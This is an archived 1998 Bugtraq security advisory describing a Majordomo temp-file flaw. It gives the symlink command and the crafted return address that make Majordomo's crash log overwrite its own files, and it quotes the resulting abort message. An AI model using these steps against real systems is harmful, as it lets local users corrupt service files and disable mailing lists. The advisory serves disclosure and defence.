Majordomo tmpfile bug

Summary
Description:Standard tmpfile problem
Author:Karl G - NOC Admin <ovrneith@tqgnet.com>
Compromise:Any user on a system running majordomo can append arbitrary data to any file owned by the majordomo account.
Vulnerable Systems:Those running majordomo. This runs on a ton of systems (Solaris, Linux, IRIX, etc.).
Date:26 March 1998
Details


Date: Thu, 26 Mar 1998 15:03:28 -0600
From: Karl G - NOC Admin <ovrneith@tqgnet.com>
To: BUGTRAQ@NETSPACE.ORG
Subject: Majordomo /tmp exploit

-=desc=-
Majordomo allows appending to any file owned by the majordomo user/group.

-=x-ploit=-
create a symlink in /tmp to any majordomo file
ex: ln -s /usr/lib/majordomo/majordomo /tmp/majordomo.debug

send a message with any emailer to majordomo with a "/" in the return
address. (i tested with Winbloze Internet Mail)
ex: blah/1234@yourdomain.com

the owner of majordomo will receive the below message... from then on,
majordomo will be inoperable.  (if the above symlink is used) Majordomo
keeps a debug log and appends to it every time it crashes with out
checking ownerships of the symlinks.. or for that matter for symlinks at
all.

--snip--
Subject: MAJORDOMO ABORT (mj_majordomo)

--


MAJORDOMO ABORT (mj_majordomo)!!

HOSTILE ADDRESS (no x400 c=) blah/34234@domain.com
--snip--

-=fix=-
should the wrapper not check for such things?


party on.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  Karl Grindley
  ICQ: 2660211
  Network Administrator
  TQG Internet Network

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